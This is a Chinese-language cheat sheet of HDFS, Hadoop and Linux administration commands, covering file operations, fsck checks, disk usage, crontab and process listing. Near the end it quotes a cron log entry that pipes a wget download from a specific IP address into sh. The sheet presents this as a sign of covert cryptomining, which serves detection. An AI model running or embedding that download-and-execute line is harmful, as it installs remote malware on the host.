1.要从HDFS中删除文件/文件夹,可以使用以下命令:
hadoop fs -rm -r -skipTrash /path_to_file/file_name
2.上传文件到HDFS
hadoop fs -put cdh_version.properties /user
3.查看HDFS文件系统里test.txt的内容
hadoop fs –cat /user/sunlightcs/test.txt
4.查看/etc/profile的前10行内容,应该是:
# head -n 10 /etc/profile
5.查看/etc/profile的最后5行内容,应该是:
# tail -n 5 /etc/profile
6.查看并列出所有文件状态
hdfs fsck /path_to_file -files
7.查看文件中损坏的块
hdfs fsck /path_to_file -list-corruptfileblocks
8.打印文件快的位置信息(打印机架位置加个 -racks)
hdfs fsck /path_to_file -files -blocks -locations
9.查看hdfs文件夹大小
hadoop fs -du -s -h +文件夹名
第一列标示该目录下总文件大小
第二列标示该目录下所有文件在集群上的总存储大小和你的副本数相关,我的副本数是3 ,所以第二列的是第一列的三倍 (第二列内容=文件大小*副本数)
第三列标示你查询的目录
10.修改hdfs文件备份系数,把目录下所有文件备份系数设置为1
hadoop dfs -setrep -w 1 -R /user/hadoop/dir1
11.合并hdfs中的小文件
hadoop fs -cat hdfs:///user/hdfs/source/log/server/20181127/.* | hadoop fs -appendToFile - hdfs:///user/hdfs/source/log/server/20181127/1.txt
12.重用名
hadoop dfs -mv /hello1 /hello2
13.查看HDFS中文件占用的大小
hadoop fs -du -h /path_name
14.查看一下HDFS集群节点容量
hdfs dfs -df -h
15.查看集群容量
df -h
16.监控文件更新情况
tail -f filename
17.查找文件
find /path -name filename“
18.查看某进程
ps -aux | grep xxx
19.查询文件或文件夹使用情况
du -h --max-depth=1 /opt/
查看crontab任务执行情况
tail -f /var/log/cron
查看定时任务
crontab -l
修改定时任务
crontab -e
查看java进程
ps aux | grep java
运行 tail -F /var/log/cron
显示有
(yarn) CMD (wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1)
则说明有人偷偷挖矿
//查看当前所有tcp端口
netstat -ntlp
HOSTS文件位置:
Windows下在C:\windows\system32\drivers\etc
linux下在
“etc/hosts”